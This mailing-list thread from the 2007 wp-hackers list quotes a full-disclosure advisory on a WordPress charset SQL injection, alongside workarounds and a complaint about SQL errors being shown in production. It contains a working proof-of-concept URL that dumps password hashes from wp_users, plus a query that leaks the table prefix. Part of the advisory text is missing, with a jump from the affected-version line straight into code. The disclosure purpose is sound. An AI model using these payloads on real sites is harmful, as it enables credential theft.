[wp-hackers] WordPress Charset SQL Injection Vulnerability

[Robin Adrianse]

I've never understood why WordPress displays detailed SQL errors in an
environment that is almost definitely production. Maybe it would be more
prudent to be able to disable these? If something got changed around I
wouldn't want my visitors to be seeing paragraphs of SQL errors everywhere.

On Dec 15, 2007 5:25 AM, Abel Cheung <abelcheung at gmail.com> wrote:

> On Dec 11, 2007 12:57 PM, DD32 <wordpress at dd32.id.au> wrote:
> > It also needs to know your table prefix.
>
> Unsure why I failed to reply this sooner. Getting table prefix is so
> trivial for newer wordpress:
>
> /?feed=rss2&p=-1
>
> Abel
>
> >
> > So all in all, this will affect very few people, However, those who are
> affected, be warned :)
> >
> >
> > <URL:
> http://packetstormsecurity.org/0712-exploits/wordpresscharset-sql.txt >
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > === WordPress Charset SQL Injection Vulnerability ===
> >
> > Release date: 2007-12-10
> > Last modified: 2007-12-10
> > Source: Abel Cheung
> > Affected version: WordPress escape($gpc);
> > }
> >
> >
> >   Finally, escape() method belongs to wp-includes/wp-db.php:
> >
> > function escape($string) {
> >   return addslashes( $string ); // Disable rest for now, causing
> problems
> >   ......
> > }
> >
> >
> > 3. Proof of concept
> >
> >   a. After WordPress installation, modify wp-config.php to make sure
> >      it uses certain character set for database connection (Big5 can
> > also be used):
> >      define('DB_CHARSET', 'GBK');
> >
> >   b.
> http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23<http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27%29%29%29/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23>
> >
> >
> > 4. Workaround
> >
> >   Note: This vulnerability only exists for database queries performed
> >   using certain character sets. For databases created in most other
> >   character sets no remedy is needed.
> >
> >   a. It is recommended to convert WordPress database to use character
> sets not
> >      vulnerable to such SQL exploit. One such charset is UTF-8, which
> does not
> >      use backslash ('\') as part of character and it supports various
> languages.
> >   b. Alternatively, edit WordPress theme to remove search capability.
> >
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.4.6 (GNU/Linux)
> > Comment: http://firegpg.tuxfamily.org
> >
> > iD8DBQFHXVXGQVLh8cZxhv8RAgjgAKDwvrrO6hJbnV0/VFah5W+i8grYcwCgzyCT
> > 5RKJG+zo/mktmRU3v1IfmXE=
> > =2okr
> > -----END PGP SIGNATURE-----
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> > _______________________________________________
> > wp-hackers mailing list
> > wp-hackers at lists.automattic.com
> > http://lists.automattic.com/mailman/listinfo/wp-hackers
> >
>
>
>
> --
> Abel Cheung   (GPG Key: 0xC67186FF)
> Key fingerprint: 671C C7AE EFB5 110C D6D1  41EE 4152 E1F1 C671 86FF
> --------------------------------------------------------------------
> * My own cave: http://me.abelcheung.org/
> * Opensource Application Knowledge Assoc. - http://oaka.org/
> _______________________________________________
> wp-hackers mailing list
> wp-hackers at lists.automattic.com
> http://lists.automattic.com/mailman/listinfo/wp-hackers
>